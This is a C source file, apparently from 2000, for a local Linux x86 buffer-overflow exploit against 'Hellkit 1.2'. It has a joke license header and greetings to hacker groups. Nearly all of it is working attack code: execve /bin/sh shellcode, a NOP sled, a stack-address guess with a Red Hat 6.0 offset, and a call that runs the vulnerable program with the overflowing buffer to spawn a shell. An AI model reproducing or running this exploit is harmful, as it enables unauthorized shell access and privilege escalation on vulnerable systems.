/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

/* hellex.c - Hellkit 1.2 local linux (x86) exploit by Narrow */
/* Greetz: Legion2000, buffer0verflow and Scrippie (of courz) */

/* Tue May 23 14:04:35 2000 - It doesn't suck much memonry ;-)*/

#include <stdio.h>
#include <string.h>

#define OFFSETS -500          // Red Hat 6.0

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
    __asm__("movl %esp, %eax");
}

int main(int argc,char **argv)
{
  char buf[973];
  int offset;

  if(argc < 2) { offset = OFFSETS; } else { offset = atoi(argv[1]); }
  memset(buf,0x90,sizeof(buf));
  memcpy(buf + sizeof(buf) - strlen(shellcode) - 8, shellcode, strlen(shellcode
));
  *(long *)&buf[973 - 4] = get_sp() - offset;
  execl("./driver", "drank-driver", buf);
}